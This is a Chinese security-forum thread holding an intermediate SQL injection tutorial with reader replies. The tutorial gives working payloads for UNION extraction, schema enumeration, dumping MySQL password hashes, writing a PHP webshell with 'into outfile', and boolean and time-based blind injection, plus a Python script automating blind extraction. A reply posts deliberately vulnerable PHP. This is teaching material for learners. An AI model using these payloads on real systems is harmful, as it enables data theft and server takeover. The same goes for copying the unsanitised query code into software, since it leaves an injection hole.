用户
搜索
  • TA的每日心情
    开心
    2018-10-19 16:14
  • 签到天数: 279 天

    连续签到: 1 天

    [LV.8]以坛为家I

    i春秋作家

    Security Personnel

    Rank: 7Rank: 7Rank: 7

    153

    主题

    1335

    帖子

    2101

    魔法币
    收听
    0
    粉丝
    151
    注册时间
    2015-11-4

    幽默灌水王突出贡献春秋文阁春秋巡逻热心助人奖

    zusheng i春秋作家 Security Personnel 幽默灌水王 突出贡献 春秋文阁 春秋巡逻 热心助人奖 楼主
    发表于 2016-8-14 12:45:01 69381266
    本帖最后由 zusheng 于 2018-1-10 16:15 编辑

    作者:zusheng
    时间:2016年8月8日 11:03:56
    社区:i春秋

    前言
    找到SQL注入漏洞后,我们可以用它来干什么呢?那么本篇文章给大家带来的就是SQL注入漏洞利用技术,现在是时候让我们去体验一下漏洞利用的乐趣了。


    目录


    第三节 利用SQL注入
    • 3.1、识别数据库
    • 3.2、UNION语句提取数据
    • 3.3、枚举数据库
    • 3.4、窃取哈希口令
    • 3.5、获取WebShell

    第四节 SQL盲注利用
    • 4.1、初识SQL盲注
    • 4.2、SQL盲注入技术-基于布尔
    • 4.3、SQL盲注入技术-基于时间
    • 4.4、我们的好朋友-Python





    正文




    • 第三节 利用SQL注入

    3.1、识别数据库

    要想发动sql注入攻击,就要知道正在使用的系统数据库,不然就没法提取重要的数据。

    首先从Web应用技术上就给我们提供了判断的线索:
    • ASP和.NET:Microsoft SQL Server
    • PHP:MySQL、PostgreSQL
    • Java:Oracle、MySQL

    Web容器也给我们提供了线索,比如安装IIS作为服务器平台,后台数据及很有可能是Microsoft SQL Server,而允许Apache和PHP的Linux服务器就很有可能使用开源的数据库,比如MySQL和PostgreSQL。

    基于错误识别数据库

    大多数情况下,要了解后台是什么数据库,只需要看一条详细的错误信息即可。比如判断我们事例中使用的数据库,我们加个单引号。
    [SQL] 纯文本查看 复制代码
    error:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1

    从错误信息中,我们就可以发现是MySQL。
    [SQL] 纯文本查看 复制代码
    Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e14' 
    
    [Microsoft][ODBC SQL Server Driver][SQL Server]Line 1: 

    上面错误信息可以发现是Microsoft SQL Server,如果错误信息开头是ORA,就可以判断数据库是Oracle,很简单,道理都是一样的,就不一一列举了。

    基于数字函数推断


    数据库服务器 函数
    Microsoft SQL Server @@pack_received、@@rowcount
    MySQL connection_id()、last_insert_id()、row_count()
    Oracle BITAND(1,1)
    PostgreSQL select EXTRACT(DOW FROM NOW())

    这里以我们搭建的环境为例来做推断:

    connection_id()不管它值多少,基本上都是正的,也就是为真,last_insert_id()用法大家自行百度,这里不存在insert语句,默认情况就是返回零,也就是假。

    那么如果and connection_id()数据返回正常,and last_insert_id()不返回数据,我们就可以推断这是一个MySQL数据库了。


    i1.gif




    3.2、UINON语句提取数据

    UNION操作符可以合并两条或多条SELECT语句的查询结果,基本语法如下:
    [SQL] 纯文本查看 复制代码
    select column-1 column-2 from table-1
    UNION
    select column-1 column-2 from table-2



    如果应用程序返回了第一条查询得到的数据,我们就可以在第一条查询后面注入一个UNION运算符来添加一个任意查询,来提取数据,是不是很容易啊,当然在使用UNION之前我们必须要满足两个条件:
    • 两个查询返回的列数必须相同
    • 两个查询语句对于列返回的数据类型必须相同



    首先我来看第一个条件,如何知道第一条查询的列数呢?我们可以使用NULL来尝试,由于NULL值会被转换成任何数据类型,所以我们不用管第二个条件。
    i1.gif
    就是这样的一个个加上去进行尝试,直到不返回错误。


    神奇的ORDER BY子句

    除了上述方法,我们还可以是用order by子句得到准确列数
    i1.gif
    我们先尝试了12,返回错误,说明列数是小于12的,我们继续尝试了6,返回错误,同理,列数小于6的,我们尝试3,返回正常,说明列数是大于等于3的,继续尝试4,返回错误。说明列数是小于4,列数大于等于3,小于4,可以得到列数是3。使用order by子句可以帮助我们快速得到列数。


    得到列数后我们还需要满足第二个条件
    i1.gif
    很简单,只要一次一列使用我们的测试字符串替换NULL即可,可以发现第一列和第二列都可以存放字符串,第三列数据没有输出。

    接下来就让我们提取数据库用户名和版本号:
    i1.gif


    3.3、枚举数据库

    这里由于篇幅问题,我们只以MySQL数据库为例了,枚举数据库并提取数据遵循一种层次化的方法,首先我们提取数据库名称,然后提取表,再到列,最后才是数据本身。要想获取远程数据库的表、列,就要访问专门保存描述各种数据库结构的表。通常将这些结构描述信息成为元数据。在MySQL中,这些表都保存在information_schema数据库中

    第一步:提取数据库
    在MySQL中,数据库名存放在information_schema数据库下schemata表schema_name字段中
    [SQL] 纯文本查看 复制代码
    id=1 union select null,schema_name,null from information_schema.schemata

    i1.png

    第二步:提取表名
    在MySQL中,表名存放在information_schema数据库下tables表table_name字段中
    [SQL] 纯文本查看 复制代码
    ?id=1 union select null,table_name,null from information_schema.tables where table_schema='ichunqiu'

    i1.png
    这里我使用where子句来筛选了,只返回数据库ichunqiu下的表名,想返回所有表名,去掉where子句就行了。


    第三步:提取字段名
    在MySQL中,字段名存放在information_schema数据库下columns表column_name字段中 i1.png
    同样加上where子句限制,不让你都不知道字段名是哪个数据库哪个表下。


    第四步:提取数据
    这一步就简单了,不再介绍了,看图。
    i1.png


    3.4、窃取哈希可令

    MySQL在mysql.user表中存储哈希口令,怎么提取看下图:
    i1.png

    哈希口令是通过使用PASSWORD()函数计算的:
    i1.png
    具体算法取决于MySQL安装的版本。

    3.5、获取WebShell

    利用SQL注入攻击获取WebShell其实就是在向服务器写文件。(注意:这里我们需要得到网站的绝对路径)所有常用的关系数据库管理系统(RDBMS)均包含内置的向服务器文件系统写文件的功能。
    [SQL] 纯文本查看 复制代码
    select into outfile(dumpfile)  //MySQL写文件命令

    例如:
    [SQL] 纯文本查看 复制代码
    select "<?php echo 'test'; ?>" into outfile "F:\\www\\test.php";

    i1.png
    那么其它关系数据库管理系统同样的原理写文件,就不在过多介绍了。



    • 第四节 SQL盲注利用

    4.1、初识SQL盲注
    SQL盲注是指在无法使用详细数据库错误消息或带内数据连接的情况下,利用数据库查询的输入审查漏洞从数据库提取信息或提取与数据库查询相关信息的技术。

    常见的SQL盲注入场景:

    1、提交一个导致SQL查询无效时,会返回一个通用错误页面,提交正确则会返回一个内容可被适度控制的页面。

    2、提交一个导致SQL查询无效时,会返回一个通用错误页面,提交正确则会返回一个内容不可控的页面。

    3、提交受损或不正确的SQL既不会产生错误页面,也不会以任何方式影响页面输出。



    4.2、SQL盲注入技术-基于布尔

    了解完SQL定义以及这类漏洞的注入场景后,现在我带大家深入研究利用这些漏洞的技术。


    首先我们我们提交错误的SQL,看资源是否返回通用的错误页面。


    1.gif


    我们能控制页面的输出结果吗?
    1.gif
    显然可以
    [SQL] 纯文本查看 复制代码
    id=1 and 1=1 True
    id=1 and 1=2 False


    怎么利用?

    在介绍利用技巧之前我们先来介绍一个重要的SQL函数


    [SQL] 纯文本查看 复制代码
    SUBSTRING(str,pos,len)
    没有len参数的形式返回一个字符串从字符串str从位置pos开始。一个len参数的形式返回len个字符长的字符串str的子串,从位置pos开始,形式使用的是标准的SQL语法。另外,也可以使用负的值为pos。在这种情况下,刚开始的子串位置的字符结尾的字符串,而不是开始。负的值可用于为pos在此函数中的任何形式的。


    举例利用-获取数据的用户名
    1.gif



    [SQL] 纯文本查看 复制代码
    id=1 and SUBSTRING(user(),1,1)='a'
    #利用SUBSTRING()函数提取用户名的第一个字符,看等于字符a吗?,如果等于页面返回True状态,不等于返回False状态。


    [SQL] 纯文本查看 复制代码
    id=1 and SUBSTRING(user(),1,1)='r'
    #返回True状态,也就是页面正常,表示用户名第一个字符是r


    这也就是基于布尔的SQL盲注入技术

    4.3、SQL盲注入技术-基于时间

    基于布尔的SQL盲注入技术原理其实大同小异,当某一状态为真时,让响应暂停几秒钟,而当状态为假时,不出现暂停。


    废话不多说看技巧利用。


    [SQL] 纯文本查看 复制代码
    id=1 union select if(SUBSTRING(user(),1,4)='root',sleep(4),1),null,null
    #注意使用union的条件哦,前面介绍了。同样的道理,提取用户名前四个字符做判断,正确就延迟4秒,错误返回1

    1.gif

    4.4、我们的好朋友-Python

    使用Python自动化注入获取用户名事例:

    1.gif

    MySQL提取用户名进行比较不区分大小写,所以我们去掉其中的大写字母。
    代码很简单,就不解释了。
    [Python] 纯文本查看 复制代码
    import requests
    
    def attack():
        print 'launch an attack'
        url = 'http://www.isbase.com/sqlbool.php'
        user = '[+]system_user: '
        zimu1 = range(33,65)
        zimu2 = range(91,128)
        zimu = zimu1 + zimu2
        for l in range(1,16):
            for i in zimu:
                payload = "and SUBSTRING(user(),"+str(l)+",1)='" + chr(i) + "'"
                payload = {'id': '1 ' + payload}
                r = requests.get(url, params=payload)
                wenben = r.text
                wenben = wenben.encode("utf-8")
                result = wenben.find("jim")
                if(result != -1):
                    user = user + chr(i)
                    print user
    
    if __name__ == '__main__':
        print 'Author:zusheng'
        print 'bbs:ichunqiu.com'
        attack()
        print '[+]ok'



    结束语

    从8月8号开始,到现在差不多一个星期了,终于在空余时间完成了这篇文章,感谢大家的支持,写的自己感觉很满意了,但是并不是很完美,希望以后能给大家带来更多精华的文章吧。还有最后一篇高级部分。坚持吧,努力给大家带来更详细更深入的好文。技术有限,如文中有错误请指出,谢谢。

    系列文章预告及导航

    渗透攻防Web篇-SQL注入攻击初级(状态:已更新)
    • 第一节 注入攻击原理及自己编写注入点
    • 第二节 寻找及确认SQL注入

    渗透攻防Web篇-SQL注入攻击高级(状态:已更新)
    • 第五节 避开过滤方法总结
    • 第六节 探讨SQL注入防御技巧








    评分

    参与人数 5魔法币 +215 价值分 +16 收起 理由
    小乱zzz + 3 鼓励转贴优秀软件安全工具和文档!.
    icq7b64725h + 5
    cxf210 + 2
    acecttgd + 5 感谢发布原创作品,i春秋论坛因你更精彩!.
    坏蛋 + 200 + 16 价值分奖励

    查看全部评分

    本帖被以下淘专辑推荐:

    Hacking the earth.My Blog:https://isbase.cc
    坏蛋 管理员 欢迎大家来春秋群找我玩
    来自 21#
    发表于 2016-8-18 13:22:06
    作者
    帖子链接
    评估分数(0-3分)
    原创性
    标题
    排版
    内容要求
    内容深度
    内容趣味性
    点评
    总分
    奖金
    zusheng
    渗透攻防Web篇-SQL注入攻击中级
    评估分数(0-3分)
    2
    3
    3
    2
    3
    3
    内容很好,小白就需要这样通俗易懂的文章。排版为3只为动态图
    16
    200元

    欢迎加入i春秋QQ群大家庭,每人只能任选加入一个群哦!
    投稿请加QQ:780876774。

    i春秋—楚:713729706
    i春秋—魏:687133802
    网安交流群:820783253
    使用道具 举报 回复
    先赞一下这篇文章。

    另外,关于3.2最后,用'text'测试字段可以存放的数据类型那里,我试了一下,好像三个全部可以显示的,第三个之所以没有显示,是因为php源代码中没有那一列的输出。(关于这里我也很疑惑,明明id是设置了int型的。。。)

    上图,上代码:

    [PHP] 纯文本查看 复制代码
    <?php
    if(isset($_GET["id"])){
    	$con = mysql_connect("localhost:3306","root","root");
    	if(!$con)
    	{
    		die('Could not connect:'.mysql_error());
    	}
    	mysql_select_db("ichunqiu",$con);
    	$querry = "select * from users where id =".$_GET['id'];
    	$sql = mysql_query($querry,$con);
    	var_dump($sql);
    	//$result = mysql_fetch_array($sql);
    
    	echo "<table class='itable' border='1' cellspacing='0' 
    
    width='300px' height='150'>";
    	echo "<tr>";
    	echo "<td>id</td>";
    	echo "<td>username</td>";
    	echo "<td>password</td>";
    	echo "</tr>";
    	//遍历查询结果
    	while($result=mysql_fetch_array($sql))
    	{
    		echo "<tr>";
    		echo "<td>".$result[0]."</td>";
    		echo "<td>".$result[1]."</td>";
    		echo "<td>".$result[2]."</td>";
    		echo "</tr>";
    	}
    
    	echo "</table>";
    	mysql_close($con);
    	echo $querry;	
    }
    ?>


    mysql1.png

    mysql2.png
    其他两栏也同样可以的,下面枚举schema表也同样没有问题。

    使用道具 举报 回复
    发表于 2016-11-24 17:06:06
    纠正个文章错误:
    那么如果and connection_id()数据返回正常,and connection_id()不返回数据,我们就可以推断这是一个MySQL数据库了。
    应为:
    那么如果and connection_id()数据返回正常,and last_insert_id()不返回数据,我们就可以推断这是一个MySQL数据库了。

    使用道具 举报 回复
    请问:两个查询语句对于列返回的数据类型必须相同
    只要一次一列使用我们的测试字符串替换NULL即可,可以发现第一列和第二列都可以存放字符串
    第一列id的数据类型是int,和test类型不一样,这是为什么?
    使用道具 举报 回复
    发表于 2016-11-24 17:56:55
    1chavez 发表于 2016-10-25 21:57
    [那么如果and connection_id()数据返回正常,and connection_id()不返回数据,我们就可以推断这是一个MySQL ...

    尴尬了,刚开始没仔细看你的意思,谢谢纠正了。
    Hacking the earth.My Blog:https://isbase.cc
    使用道具 举报 回复
    发表于 2016-11-24 17:53:27
    jo_lay 发表于 2016-11-24 17:06
    纠正个文章错误:
    那么如果and connection_id()数据返回正常,and connection_id()不返回数据,我们就可以 ...

    尴尬了,谢谢纠正。
    Hacking the earth.My Blog:https://isbase.cc
    使用道具 举报 回复
    sql盲注部分的sqlbool.php的代码是怎样的啊,我用之前您写的test.php的代码来做sql盲注这一节,出不来效果啊。麻烦您告知下。非常感谢!
    使用道具 举报 回复
    发表于 2018-1-10 16:16:06
    EricBai 发表于 2018-1-9 10:14
    3.2、UINON语句提取数据
    3.4、窃取哈希可令
    表示错别字看起来难受

    ok已改正,感谢指出错误,谢谢
    Hacking the earth.My Blog:https://isbase.cc
    使用道具 举报 回复
    发表于 2018-1-9 10:14:01
    3.2、UINON语句提取数据
    3.4、窃取哈希可令
    表示错别字看起来难受
    使用道具 举报 回复
    发表于 2016-8-14 14:54:07
    66666666666666666666666
    使用道具 举报 回复
    坏蛋 管理员 欢迎大家来春秋群找我玩
    板凳
    发表于 2016-8-14 15:09:47
    抢个板凳
    欢迎加入i春秋QQ群大家庭,每人只能任选加入一个群哦!
    投稿请加QQ:780876774。

    i春秋—楚:713729706
    i春秋—魏:687133802
    网安交流群:820783253
    使用道具 举报 回复
    使用道具 举报 回复
    发表于 2016-8-14 15:52:53
    膜拜
    hello world
    使用道具 举报 回复
    发表于 2016-8-14 17:05:50
    ../.-../---/...-/./-.--/---/..-至死不渝  [ I春秋首席文艺范儿 ]
    使用道具 举报 回复
    发表于 2016-8-14 17:05:52
    ../.-../---/...-/./-.--/---/..-至死不渝  [ I春秋首席文艺范儿 ]
    使用道具 举报 回复
    发表于 2016-8-14 20:26:14
    盲注,希望能在讲的仔细一点
    使用道具 举报 回复
    发表于 2016-8-14 20:29:55
    非常的好,大赞
    使用道具 举报 回复
    发表于 2016-8-14 22:46:22
    支持原创,感谢分享,学习了。
    使用道具 举报 回复
    发表于 2016-8-15 08:45:04
    看看啊,不错的东西
    使用道具 举报 回复
    发表于 2016-8-15 09:01:10
    学习了
    使用道具 举报 回复
    使劲学习了
    使用道具 举报 回复
    发表于 2016-8-15 16:35:47
    支持下呵呵
    使用道具 举报 回复
    发表于 2016-8-15 17:07:18
    好像很拽啊
    使用道具 举报 回复
    12345下一页
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册